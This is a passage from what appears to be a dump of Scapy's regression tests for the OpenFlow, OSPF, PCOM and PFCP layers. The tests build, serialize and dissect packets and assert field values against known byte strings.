bands=[OFPMBTDrop()]), OFPMeterConfig(bands=[OFPMBTDSCPRemark(burst_size=12)])])\nrmc = OFPMPReplyMeterConfig(raw(rmc))\nassert rmc.meter_configs[0].flags == 9\nassert rmc.meter_configs[0].bands[0].type == 0\nassert rmc.meter_configs[1].bands[0].type == 1\nassert rmc.meter_configs[1].bands[0].burst_size == 12\n\n+ Layer bindings\n\n= TCP()/OFPMPRequestDesc(), check default sport\np = TCP()/OFPMPRequestDesc()\np[TCP].sport == 6653\n\n= TCP()/OFPETHelloFailed(), check default dport\np = TCP()/OFPETHelloFailed()\np[TCP].dport == 6653\n\n= TCP()/OFPTHello() dissection, check new TCP.guess_payload_class\no = TCP()/OFPTHello()\np = TCP(raw(o))\np[TCP].sport == 6653\nisinstance(p[TCP].payload, OFPTHello)\n\n= Advanced TCP()/OFPTHello() built, with OFPHETVersionBitmap \npkt = TCP()/OFPTHello(elements=[OFPHETVersionBitmap(bitmap=\"OFv1.4\", len=None)])\npkt = TCP(raw(pkt))\nassert isinstance(pkt[OFPTHello].elements[0], OFPHETVersionBitmap)\nassert pkt[OFPTHello].elements[0].bitmap == 32\nassert pkt[OFPTHello].elements[0].len == 8\n\npkt = TCP()/OFPTHello(elements=[OFPHETVersionBitmap(bitmap=\"OFv1.5\", len=None)])\npkt = TCP(raw(pkt))\nassert isinstance(pkt[OFPTHello].elements[0], OFPHETVersionBitmap)\nassert pkt[OFPTHello].elements[0].bitmap == 64\nassert pkt[OFPTHello].elements[0].len == 8\n\n= complete Ether()/IP()/TCP()/OFPTFeaturesRequest()\nofm = Ether(src='00:11:22:33:44:55',dst='01:23:45:67:89:ab')/IP(src='10.0.0.7',dst='192.168.0.42')/TCP(sport=6633)/OFPTFeaturesRequest(xid=23)\ns = b'\\x01#Eg\\x89\\xab\\x00\\x11\"3DU\\x08\\x00E\\x00\\x000\\x00\\x01\\x00\\x00@\\x06\\xaf\\xee\\n\\x00\\x00\\x07\\xc0\\xa8\\x00*\\x19\\xe9\\x19\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x8c\\xf7\\x00\\x00\\x04\\x05\\x00\\x08\\x00\\x00\\x00\\x17'\nassert raw(ofm) == s\ne = Ether(s)\ne.show2()\ne[OFPTFeaturesRequest].xid == 23\n\n= OFPMPRequestTableFeatures() with OFPTFPTMatch() OXMIDPacketListField tests\npkt = TCP()/OFPMPRequestTableFeatures(table_features=[OFPTableFeatures(properties=[OFPTFPTMatch(oxm_ids=[OFBUDPSrcID()])])])\nassert raw(pkt) == b'\\x19\\xfd\\x19\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x00\\x00\\x00\\x00\\x04\\x12\\x00X\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x08\\x80\\x00\\x1e\\x02'\npkt = TCP(raw(pkt))\nassert pkt.table_features[0].properties[0].oxm_ids[0].fields == {'class_': 32768, 'field': 15, 'hasmask': 0, 'len': 2}\n\n= Test OFBTCPSrc Autocompletion\n\nconf.contribs['OPENFLOW']['prereq_autocomplete'] = True\n\npkt = TCP()/OFPTPacketIn(match=OFPMatch(oxm_fields=OFBTCPSrc()))\npkt = TCP(raw(pkt))\n\nassert len(pkt[OFPTPacketIn].match.oxm_fields) == 3\nassert isinstance(pkt[OFPTPacketIn].match.oxm_fields[0], OFBEthType)\nassert isinstance(pkt[OFPTPacketIn].match.oxm_fields[1], OFBIPProto)\nassert isinstance(pkt[OFPTPacketIn].match.oxm_fields[2], OFBTCPSrc)\n"
  },
  {
    "path": "test/contrib/ospf.uts",
    "content": "# OSPF Related regression tests\n#\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('ospf')\" -t test/contrib/ospf.uts\n\n+ OSPF\n\n= OSPF, basic instantiation\n\ndata = b'\\x01\\x00^\\x00\\x00\\x05\\x00\\xe0\\x18\\xb1\\x0c\\xad\\x08\\x00E\\xc0\\x00T\\x08\\x19\\x00\\x00\\x01Ye\\xc2\\xc0\\xa8\\xaa\\x08\\xe0\\x00\\x00\\x05\\x02\\x04\\x00@\\xc0\\xa8\\xaa\\x08\\x00\\x00\\x00\\x01\\x96\\x1f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x03\\xe2\\x02\\x01\\xc0\\xa8\\xaa\\x08\\xc0\\xa8\\xaa\\x08\\x80\\x00\\r\\xc3%\\x06\\x00$\\x02\\x00\\x00\\x01\\xc0\\xa8\\xaa\\x00\\xff\\xff\\xff\\x00\\x03\\x00\\x00\\n'\n\np = Ether(data)\n\nassert (p[OSPF_LSUpd][OSPF_Router_LSA].age == 994)\nassert (p[OSPF_LSUpd][OSPF_Router_LSA].type == 1)\nassert (p[OSPF_LSUpd][OSPF_Router_LSA].id == '192.168.170.8')\nassert (p[OSPF_LSUpd][OSPF_Router_LSA].adrouter == '192.168.170.8')\nassert (p[OSPF_LSUpd][OSPF_Router_LSA].seq == 0x80000dc3)\nassert (p[OSPF_LSUpd][OSPF_Router_LSA].chksum == 0x2506)\nassert (p[OSPF_LSUpd][OSPF_Router_LSA].len == 36)\nassert (p[OSPF_LSUpd][OSPF_Router_LSA].reserved == 0)\nassert (p[OSPF_LSUpd][OSPF_Router_LSA].linkcount == 1)\n\nassert (p[OSPF_LSUpd][OSPF_Router_LSA].linklist[0][OSPF_Link].id == '192.168.170.0')\nassert (p[OSPF_LSUpd][OSPF_Router_LSA].linklist[0][OSPF_Link].data == '255.255.255.0')\nassert (p[OSPF_LSUpd][OSPF_Router_LSA].linklist[0][OSPF_Link].type == 3)\nassert (p[OSPF_LSUpd][OSPF_Router_LSA].linklist[0][OSPF_Link].toscount == 0)\nassert (p[OSPF_LSUpd][OSPF_Router_LSA].linklist[0][OSPF_Link].metric == 10)\n\n= OSPF - build\n\npkt = Ether(dst=\"01:00:5e:00:00:05\", src=\"ca:11:09:b3:00:1c\")/IP(tos=0xc0, ttl=1, ihl=5, id=36333, dst=\"224.0.0.5\", src=\"10.75.0.254\")/OSPF_Hdr(src=\"75.1.3.1\")/\\\n      OSPF_Hello(options=0x12, router=\"10.75.0.254\", backup=\"10.75.0.1\", neighbors=[\"75.1.0.1\"])/OSPF_LLS_Hdr(llstlv=[LLS_Extended_Options(options='\\x00\\x00\\x00\\x01')])\nassert raw(pkt) == b'\\x01\\x00^\\x00\\x00\\x05\\xca\\x11\\t\\xb3\\x00\\x1c\\x08\\x00E\\xc0\\x00P\\x8d\\xed\\x00\\x00\\x01Y?Z\\nK\\x00\\xfe\\xe0\\x00\\x00\\x05\\x02\\x01\\x000K\\x01\\x03\\x01\\x00\\x00\\x00\\x00>\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\x00\\x00\\n\\x12\\x01\\x00\\x00\\x00(\\nK\\x00\\xfe\\nK\\x00\\x01K\\x01\\x00\\x01\\xff\\xf6\\x00\\x03\\x00\\x01\\x00\\x04\\x00\\x00\\x00\\x01'\n\n= OSPF - answers\n\na = OSPF_Hdr(area=\"1.1.1.1\")/OSPF_LSAck(lsaheaders=[OSPF_LSA_Hdr(type=1, seq=0x80000003)])\nb = OSPF_Hdr(area=\"1.1.1.1\")/OSPF_LSUpd(lsalist=[OSPF_Router_LSA(type=1, seq=0x80000003)])\nassert a.answers(b)\na = OSPF_Hdr(raw(a))\nb = OSPF_Hdr(raw(b))\nassert a.answers(b)\n\n= OSPFv3 - build\n\npkt = Ether(dst=\"01:00:5e:00:00:05\", src=\"ca:11:09:b3:00:1c\")/IPv6(dst=\"::1\", src=\"fe80::160c:12aa:fe7e:cd28\")/OSPFv3_Hdr(src=\"75.1.3.1\")/\\\n      OSPFv3_Hello(options=0x12, router=\"10.75.0.254\", backup=\"10.75.0.1\", neighbors=[\"75.1.0.1\"])\nassert raw(pkt) == b'\\x01\\x00^\\x00\\x00\\x05\\xca\\x11\\t\\xb3\\x00\\x1c\\x86\\xdd`\\x00\\x00\\x00\\x00(Y@\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x16\\x0c\\x12\\xaa\\xfe~\\xcd(\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x03\\x01\\x00(K\\x01\\x03\\x01\\x00\\x00\\x00\\x00Y\\x98\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x12\\x00\\n\\x00(\\nK\\x00\\xfe\\nK\\x00\\x01K\\x01\\x00\\x01'\n\n= OSPFv2 Opaque lsa\n\ndata = b'\\x01\\x00^\\x00\\x00\\x05\\x00\\x90\\x92\\x9d\\x94\\x01\\x08\\x00E\\xc0\\x00\\xb4?\\x99\\x00\\x00\\x01Y\\xc6\\x91\\xd2\\x00\\x00\\x01\\xe0\\x00\\x00\\x05\\x02\\x04\\x00\\xa0\\x11\\x03\\x03\\x03\\x00\\x00\\x00d9\\x9f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01 \\n\\x01\\x00\\x00\\x00\\x11\\x03\\x03\\x03\\x80\\x00\\x00\\x1f\\xab\\xd9\\x00\\x84\\x00\\x01\\x00\\x04\\x11\\x03\\x03\\x03\\x00\\x02\\x00d\\x00\\x01\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x02\\x00\\x04\\xd2\\x00\\x00\\x02\\x00\\x03\\x00\\x04\\xd2\\x00\\x00\\x01\\x00\\x04\\x00\\x04\\xd2\\x00\\x00\\x02\\x00\\x05\\x00\\x04\\x00\\x00\\x03\\xe8\\x00\\x06\\x00\\x04I\\x98\\x96\\x80\\x00\\x07\\x00\\x04I\\x98\\x96\\x80\\x00\\x08\\x00 I\\x18\\x96\\x80I\\x18\\x96\\x80I\\x18\\x96\\x80I\\x18\\x96\\x80I\\x18\\x96\\x80I\\x18\\x96\\x80I\\x18\\x96\\x80I\\x18\\x96\\x80\\x00\\t\\x00\\x04\\x00\\x00\\x00\\x00\\x92\\xe6\\xb6:'\n\np = Ether(data)\n\nassert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].age == 1)\nassert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].type == 10)\nassert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].id == '1.0.0.0')\nassert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].adrouter == '17.3.3.3')\nassert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].seq == 0x8000001f)\nassert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].chksum == 0xabd9)\nassert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].len == 132)\nassert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].opaqueid() == 0)\nassert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].opaquetype() == 1)\n\nopaque_data=b'\\x00\\x01\\x00\\x04\\x11\\x03\\x03\\x03\\x00\\x02\\x00d\\x00\\x01\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x02\\x00\\x04\\xd2\\x00\\x00\\x02\\x00\\x03\\x00\\x04\\xd2\\x00\\x00\\x01\\x00\\x04\\x00\\x04\\xd2\\x00\\x00\\x02\\x00\\x05\\x00\\x04\\x00\\x00\\x03\\xe8\\x00\\x06\\x00\\x04I\\x98\\x96\\x80\\x00\\x07\\x00\\x04I\\x98\\x96\\x80\\x00\\x08\\x00 I\\x18\\x96\\x80I\\x18\\x96\\x80I\\x18\\x96\\x80I\\x18\\x96\\x80I\\x18\\x96\\x80I\\x18\\x96\\x80I\\x18\\x96\\x80I\\x18\\x96\\x80\\x00\\t\\x00\\x04\\x00\\x00\\x00\\x00'\n\np = OSPF_Link_Scope_Opaque_LSA(seq=0x80000003,data=opaque_data)\nassert (p.type == 9)\nassert (p.seq == 0x80000003)\nassert (len(p) == 132)\n\np = OSPF_Area_Scope_Opaque_LSA(seq=0x80000004,data=opaque_data)\nassert (p.type == 10)\nassert (p.seq == 0x80000004)\nassert (len(p) == 132)\n\np = OSPF_AS_Scope_Opaque_LSA(seq=0x80000005,data=opaque_data)\nassert (p.type == 11)\nassert (p.seq == 0x80000005)\nassert (len(p) == 132)\n\n= OSPF - build/dissect without header\n\nOSPF_DBDesc().show2()\nOSPF_LSReq().show2()\nOSPF_LSUpd().show2()\nOSPF_LSAck().show2()\n\n"
  },
  {
    "path": "test/contrib/pcom.uts",
    "content": "% PCOM tests\n\n+ Syntax check\n= Import the pcom layer\nfrom scapy.contrib.scada.pcom import *\n\n+ Test PCOM/TCP\n= PCOM/TCP Default values\nraw(PCOMRequest())[2:] == b'\\x65\\x00\\x00\\x00'\nraw(PCOMResponse())[2:] == b'\\x65\\x00\\x00\\x00'\n\n= PCOM/TCP Len\nr = b'\\x65\\x00\\x04\\x00\\x00\\x00\\x00\\x00'\nraw(PCOMRequest() / b'\\x00\\x00\\x00\\x00')[2:] == r\nr =  b'\\x65\\x00\\x04\\x00\\x00\\x00\\x00\\x00'\nraw(PCOMResponse() / b'\\x00\\x00\\x00\\x00')[2:] == r\n\n= PCOM/TCP Guess Payload Class\nassert isinstance(PCOMRequest(b'\\x00\\x00\\x65\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00').payload, PCOMAsciiRequest)\nassert isinstance(PCOMResponse(b'\\x00\\x00\\x65\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00').payload, PCOMAsciiResponse)\nassert isinstance(PCOMRequest(b'\\x00\\x00\\x66\\x00\\x01\\x00\\x00\\x00' + b'\\x00' * 25).payload, PCOMBinaryRequest)\nassert isinstance(PCOMResponse(b'\\x00\\x00\\x66\\x00\\x01\\x00\\x00\\x00' + b'\\x00' * 25).payload, PCOMBinaryResponse)\n\n+ Test PCOM/Ascii\n= PCOM/ASCII Default values\nr = b'\\x65\\x00\\x06\\x00\\x2f\\x30\\x30\\x36\\x30\\x0d'\nraw(PCOMRequest() / PCOMAsciiRequest())[2:] == r\nr = b'\\x65\\x00\\x07\\x00\\x2f\\x41\\x30\\x30\\x36\\x30\\x0d'\nraw(PCOMResponse() / PCOMAsciiResponse())[2:] == r\n\n= PCOM/ASCII Checksum\nr = b'\\x65\\x00\\x08\\x00\\x2f\\x30\\x30\\x49\\x44\\x45\\x44\\x0d'\nraw(PCOMRequest() / PCOMAsciiRequest(unitId='00',command='ID'))[2:] == r\nr = b'\\x65\\x00\\x09\\x00\\x2f\\x41\\x30\\x30\\x49\\x44\\x45\\x44\\x0d'\nraw(PCOMResponse() / PCOMAsciiResponse(unitId='00',command='ID'))[2:] == r\n\n= PCOM/ASCII Known Codes\nf = PCOMAsciiCommandField('command', '',  length_from= None)\nassert f.i2repr(None, 'CCS') == 'Send Stop Command \\'CCS\\''\nassert f.i2repr(None, 'CC') == 'Reply of Admin Commands (CC*) \\'CC\\''\n\n+ Test PCOM/Binary\n= PCOM/Binary Default values\nr = b'\\x66\\x00\\x1b\\x00\\x2f\\x5f\\x4f\\x50\\x4c\\x43\\x00\\xfe\\x01\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x45\\xfd\\x00\\x00\\x5c'\nraw(PCOMRequest(mode=0x66) / PCOMBinaryRequest())[2:] == r\nr = b'\\x66\\x00\\x1b\\x00\\x2f\\x5f\\x4f\\x50\\x4c\\x43\\xfe\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x45\\xfd\\x00\\x00\\x5c'\nraw(PCOMResponse(mode=0x66) / PCOMBinaryResponse())[2:] == r\n\n= PCOM/Binary Checksum\ndata = b'\\x01\\x00\\x01\\x01'\nr =  b'\\x66\\x00\\x1f\\x00\\x2f\\x5f\\x4f\\x50\\x4c\\x43\\x00\\xfe\\x01\\x01\\x00\\x00\\x4d\\x00\\\n\\x00\\x00\\x00\\x00\\x00\\x01\\x04\\x00\\xf2\\xfc\\x01\\x00\\x01\\x01\\xfd\\xff\\x5c'\nraw(PCOMRequest(mode=0x66) / PCOMBinaryRequest(command=0x4d,reserved3=0x01,\ncommandSpecific='\\x00\\x00\\x00\\x00\\x00\\x01', len=4, data= data))[2:] == r\nr =  b'\\x66\\x00\\x1f\\x00\\x2f\\x5f\\x4f\\x50\\x4c\\x43\\xfe\\x00\\x01\\x01\\x00\\x00\\x4d\\x00\\\n\\x00\\x00\\x00\\x00\\x00\\x01\\x04\\x00\\xf2\\xfc\\x01\\x00\\x01\\x01\\xfd\\xff\\x5c'\nraw(PCOMResponse(mode=0x66) / PCOMBinaryResponse(command=0x4d,reserved3=0x01,\ncommandSpecific='\\x00\\x00\\x00\\x00\\x00\\x01', len=4, data= data))[2:] == r\n\n= PCOM/Binary Known Codes\nf = PCOMBinaryCommandField('command', None)\nassert f.i2repr(None, 0x4d) == 'Read Operands Request - 0x4d'\n"
  },
  {
    "path": "test/contrib/pfcp.uts",
    "content": "% PFCP tests\n\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('pfcp')\" -t test/contrib/pfcp.uts\n\n+ Build packets & dissect\n\n= Verify IEs\n\nimport scapy.contrib.pfcp as pfcp_mod\n\nskip_IEs = [\n    IE_Base,\n    IE_Compound\n]\n\nfor name, cls in pfcp_mod.__dict__.items():\n    if name.startswith(\"IE_\") and type(cls) == Packet_metaclass and cls not in skip_IEs:\n        print(\"testing %s\" % name)\n        pkt = cls()\n        bs = bytes(pkt)\n        restored = cls(bs)\n        assert bytes(restored) == bs\n        # TODO: also test packet field equality\n\n= Verify PCAPs\n\n~ pcaps\n\n# the following can be useful while adding more IE types\n# (e.g. updating for a newer version of the spec)\n\ndef command(pkt):\n    f = []\n    for fn, fv in sorted(pkt.fields.items(), key=lambda item: item[0]):\n        if fn in (\"length\", \"message_type\"):\n            continue\n        if fn == \"ietype\" and not isinstance(pkt, IE_EnterpriseSpecific) and \\\n           not isinstance(pkt, IE_NotImplemented):\n            continue\n        if fn.startswith(\"num_\") or fn.endswith(\"_length\"):\n            continue\n        if fv is None:\n            continue\n        fld = pkt.get_field(fn)\n        if isinstance(fld, ConditionalField) and not fld._evalcond(pkt):\n            continue\n        # if fv == fld.default:\n        #     continue\n        if isinstance(fv, (list, dict, set)) and len(fv) == 0:\n            continue\n        if isinstance(fv, Packet):\n            fv = command(fv)\n        elif fld.islist and fld.holds_packets and isinstance(fv, list):\n            fv = \"[%s]\" % \",\".join(map(command, fv))\n        elif isinstance(fld, FlagsField):\n            fv = int(fv)\n        else:\n            fv = repr(fv)\n        f.append(\"%s=%s\" % (fn, fv))\n    c = \"%s(%s)\" % (pkt.__class__.__name__, \", \".join(f))\n    if not isinstance(pkt.payload, NoPayload):\n        pc = command(pkt.payload)\n        if pc:\n            c += \"/\" + pc\n    return c\n\nbroken_ies = set([])\n\nbroken_ie_types = set([\n    cls.ie_type for cls in broken_ies\n])\n\nignore = set([])\n\ndef find_raw_or_not_implemented(pkt, prefix=\"\"):\n    if prefix in ignore:\n        return False, False\n    if hasattr(pkt, \"IE_list\"):\n        prev = None\n        found_any = False\n        for n, ie in enumerate(pkt.IE_list, 1):\n            if type(ie) in broken_ies:\n                return False, False\n            name = \"%s-%d-%s\" % (prefix, n, type(ie).__name__)\n            found, leaf = find_raw_or_not_implemented(ie, prefix=name)\n            if found:\n                found_any = True\n            if found and leaf:\n                print(\"gotcha: %s %r\" % (prefix, ie))\n                bs = b\"\"\n                if prev is not None:\n                    bs = bytes(prev)\n                bs += bytes(ie)\n                if prev is not None:\n                    prev.show2()\n                ie.show2()\n                print(\"%s -- bad val: %s\" % (prefix, bytes_hex(bs).decode()))\n                if len(bs) > 4:\n                    l = bs[2] * 256 + bs[3]\n                    if len(bs) >= l + 4:\n                        print(\"bad val (length-limited): %s\" % bytes_hex(bs[:l + 4]).decode())\n                print(\"bad val (short): %s\" % bytes_hex(bytes(ie)).decode())\n            prev = ie\n        return found_any, False\n    if isinstance(pkt, Raw):\n        bs = bytes(pkt)\n        if len(bs) > 4:\n            ie_type = bs[0] * 256 + bs[1]\n            if ie_type in broken_ie_types:\n                return False, True\n        return True, True\n    if isinstance(pkt, Padding) or isinstance(pkt, IE_NotImplemented):\n        return True, True\n    return False, True\n\ndef find_mismatching_command(pkt, prefix=\"\"):\n    c = command(pkt)\n    if hasattr(pkt, \"IE_list\"):\n        for n, ie in enumerate(pkt.IE_list, 1):\n            name = \"%s-%d-%s\" % (prefix, n, type(ie).__name__)\n            find_mismatching_command(ie, prefix=name)\n    if bytes(eval(c)) != bytes(pkt):\n        print(prefix)\n        print(\"ORIG: %s\" % bytes_hex(bytes(pkt)))\n        print(\"EVAL: %s\" % bytes_hex(bytes(eval(c))))\n        raise AssertionError(\"bad command: %s\" % c)\n\nfor n, pkt in enumerate(rdpcap(\"test/pcaps/pfcp.pcap\"), 1):\n    if PFCP in pkt:\n        # if IE_DLBufferingSuggestedPacketCount in pkt:\n        #     continue\n        pkt0 = pkt[PFCP]\n        if IE_NotImplemented in pkt0 or Raw in pkt0 or IE_NotImplemented in pkt0 or Padding in pkt0:\n            found, leaf = find_raw_or_not_implemented(pkt, prefix=str(n))\n            if not found:\n                # ignored\n                continue\n            pkt0.show2()\n            raise AssertionError(\"IE_NotImplemented / Raw / Padding detected\")\n        bs = bytes(pkt0)\n        pkt1 = PFCP(bs)\n        # TODO: diff show2() result\n        c0 = command(pkt0)\n        c1 = command(pkt1)\n        pkt2 = eval(c1)\n        c2 = command(pkt2)\n        if bytes(pkt2) != bs:\n            find_mismatching_command(pkt0, prefix=str(n))\n            print(bytes_hex(bytes(pkt2)))\n            print(bytes_hex(bs))\n            raise AssertionError(\"bytes(pkt2) != bs\")\n        if bs != pkt0.original:\n            print(bytes_hex(bs))\n            print(bytes_hex(pkt0.original))\n            raise AssertionError(\"bs != pkt0.original\")\n        if bytes(pkt1) != bs:\n            print(bytes_hex(bytes(pkt1)))\n            print(bytes_hex(bs))\n            raise AssertionError(\"bytes(pkt1) != bs\")\n        if c0 != c1:\n            print(\"COMMAND MISMATCH:\\n----\\n%s\\n----\\n%s\\n\\n\" % (c0, c1))\n            pkt0.show2()\n            pkt1.show2()\n            print(bytes_hex(bytes(pkt0)))\n            print(\"packet index: %d\\n\" % n)\n            raise AssertionError(\"c0 != c1\")\n        if c0 != c2:\n            print(\"EVAL COMMAND MISMATCH:\\n----\\n%s\\n----\\n%s\\n\\n\" % (c0, c2))\n            pkt0.show2()\n            pkt2.show2()\n            print(bytes_hex(bytes(pkt0)))\n            print(\"packet index: %d\\n\" % n)\n            raise AssertionError(\"c0 != c2\")\n\n= Build and dissect PFCP Association Setup Request\n\npfcpASReqBytes = hex_bytes(\"200500160000010000600004e1a47d08003c0006020465726777\")\n\npfcpASReq = PFCP(version=1, S=0, seq=1) / \\\n  PFCPAssociationSetupRequest(IE_list=[\n      IE_RecoveryTimeStamp(timestamp=3785653512),\n      IE_NodeId(id_type=\"FQDN\", id=\"ergw\")\n  ])\n\n# print(\"%r\" % bytes(pfcpASReq))\n# print(\"%r\" % pfcpASReqBytes)\nassert bytes(pfcpASReq) == pfcpASReqBytes\n\npfcpASReq = PFCP(pfcpASReqBytes)\nassert pfcpASReq.version == 1\nassert pfcpASReq.MP == 0\nassert pfcpASReq.S == 0\nassert pfcpASReq.message_type == 5\nassert pfcpASReq.length == 22\nies = pfcpASReq[PFCPAssociationSetupRequest].IE_list\nassert isinstance(ies[0], IE_RecoveryTimeStamp)\nassert ies[0].ietype == 96\nassert ies[0].length == 4\nassert ies[0].timestamp == 3785653512\nassert isinstance(ies[1], IE_NodeId)\nassert ies[1].ietype == 60\nassert ies[1].length == 6\nassert ies[1].id_type == 2\nassert ies[1].id == b\"ergw\"\n\n= Build and dissect PFCP Association Setup Response\n\npfcpASRespBytes = hex_bytes(\"2006008c00000100001300010100600004e1a47af9002b00020001007400092980ac1201020263708002006448f9767070207631392e30382e312d3339377e673465333431343066612d6469727479206275696c7420627920726f6f74206f6e206275696c646b697473616e64626f7820617420576564204465632031312031353a30323a3535205554432032303139\")\n\npfcpASResp = PFCP(version=1, S=0, seq=1) / \\\n  PFCPAssociationSetupResponse(IE_list=[\n      IE_Cause(cause=\"Request accepted\"),\n      IE_RecoveryTimeStamp(timestamp=3785652985),\n      IE_UPFunctionFeatures(\n          TREU=0, HEEU=0, PFDM=0, FTUP=0, TRST=0, DLBD=0, DDND=0, BUCP=0,\n          spare=0, PFDE=0, FRRT=0, TRACE=0, QUOAC=0, UDBC=0, PDIU=0, EMPU=1),\n      IE_UserPlaneIPResourceInformation(\n          ASSOSI=0, ASSONI=1, TEIDRI=2, V6=0, V4=1, teid_range=0x80,\n          ipv4=\"172.18.1.2\", network_instance=\"cp\"),\n      IE_EnterpriseSpecific(\n          ietype=32770,\n          enterprise_id=18681,\n          data=\"vpp v19.08.1-397~g4e34140fa-dirty built by root on buildkitsandbox at Wed Dec 11 15:02:55 UTC 2019\")\n   ])\n\n\npfcpASResp.show2()\nassert bytes(pfcpASResp) == pfcpASRespBytes\n\npfcpASResp = PFCP(pfcpASRespBytes)\nassert pfcpASResp.version == 1\nassert pfcpASResp.MP == 0\nassert pfcpASResp.S == 0\nassert pfcpASResp.message_type == 6\nassert pfcpASResp.length == 140\n\nies = pfcpASResp[PFCPAssociationSetupResponse].IE_list\nassert isinstance(ies[0], IE_Cause)\nassert ies[0].ietype == 19\nassert ies[0].length == 1\nassert ies[0].cause == 1\nassert isinstance(ies[1], IE_RecoveryTimeStamp)\nassert ies[1].ietype == 96\nassert ies[1].length == 4\nassert ies[1].timestamp == 3785652985\nassert isinstance(ies[2], IE_UPFunctionFeatures)\nassert ies[2].ietype == 43\nassert ies[2].length == 2\nassert ies[2].TREU == 0\nassert ies[2].HEEU == 0\nassert ies[2].PFDM == 0\nassert ies[2].FTUP == 0\nassert ies[2].TRST == 0\nassert ies[2].DLBD == 0\nassert ies[2].DDND == 0\nassert ies[2].BUCP == 0\nassert ies[2].spare == 0\nassert ies[2].PFDE == 0\nassert ies[2].FRRT == 0\nassert ies[2].TRACE == 0\nassert ies[2].QUOAC == 0\nassert ies[2].UDBC == 0\nassert ies[2].PDIU == 0\nassert ies[2].EMPU == 1\nassert isinstance(ies[3], IE_UserPlaneIPResourceInformation)\nassert ies[3].ASSOSI == 0\nassert ies[3].ASSONI == 1\nassert ies[3].TEIDRI == 2\nassert ies[3].V6 == 0\nassert ies[3].V4 == 1\nassert ies[3].teid_range == 0x80\nassert ies[3].ipv4 == \"172.18.1.2\"\nassert ies[3].network_instance == b\"cp\"\nassert isinstance(ies[4], IE_EnterpriseSpecific)\nassert ies[4].ietype == 32770\nassert ies[4].enterprise_id == 18681\nassert ies[4].data == b\"vpp v19.08.1-397~g4e34140fa-dirty built by root on buildkitsandbox at Wed Dec 11 15:02:55 UTC 2019\"\n\nassert pfcpASResp.answers(pfcpASReq)\n\n# = Build and dissect PFCP Session Establishment Request\n\npfcpSEReq1Bytes = hex_bytes(\"2132011300000000000000000000020000030021002c000102006c00040000000200040010002a00010000160007066163636573730003000d002c000101006c00040000000100010038006c000400000002005f000100000200190015000901104c9033ac120102001600030263700014000103003800020002001d00040000006400010057006c000400000001000200350016000706616363657373001700210100001d7065726d6974206f75742069702066726f6d20616e7920746f20616e790014000100003800020001001d00040000fde800510004000000010006001b003e000104002500021000004a00040000003c00510004000000010039000d02ffde7210bf97810aac120101003c0006020465726777\")\n\npfcpSEReq1 = PFCP(version=1, S=1, seq=2, seid=0, spare_oct=0) / \\\n  PFCPSessionEstablishmentRequest(IE_list=[\n      IE_CreateFAR(IE_list=[\n          IE_ApplyAction(FORW=1),\n          IE_FAR_Id(id=2),\n          IE_ForwardingParameters(IE_list=[\n              IE_DestinationInterface(interface=\"Access\"),\n              IE_NetworkInstance(instance=\"access\"),\n          ])\n      ]),\n      IE_CreateFAR(IE_list=[\n          IE_ApplyAction(DROP=1),\n          IE_FAR_Id(id=1)\n      ]),\n      IE_CreatePDR(IE_list=[\n          IE_FAR_Id(id=2),\n          IE_OuterHeaderRemoval(header=\"GTP-U/UDP/IPv4\"),\n          IE_PDI(IE_list=[\n              IE_FTEID(V4=1, TEID=0x104c9033, ipv4=\"172.18.1.2\"),\n              IE_NetworkInstance(instance=\"cp\"),\n              IE_SourceInterface(interface=\"CP-function\"),\n          ]),\n          IE_PDR_Id(id=2),\n          IE_Precedence(precedence=100)\n      ]),\n      IE_CreatePDR(IE_list=[\n          IE_FAR_Id(id=1),\n          IE_PDI(IE_list=[\n              IE_NetworkInstance(instance=\"access\"),\n              IE_SDF_Filter(FD=1, flow_description=\"permit out ip from any to any\"),\n              IE_SourceInterface(interface=\"Access\"),\n          ]),\n          IE_PDR_Id(id=1),\n          IE_Precedence(precedence=65000),\n          IE_URR_Id(id=1)\n      ]),\n      IE_CreateURR(IE_list=[\n          IE_MeasurementMethod(EVENT=1),\n          IE_ReportingTriggers(start_of_traffic=1),\n          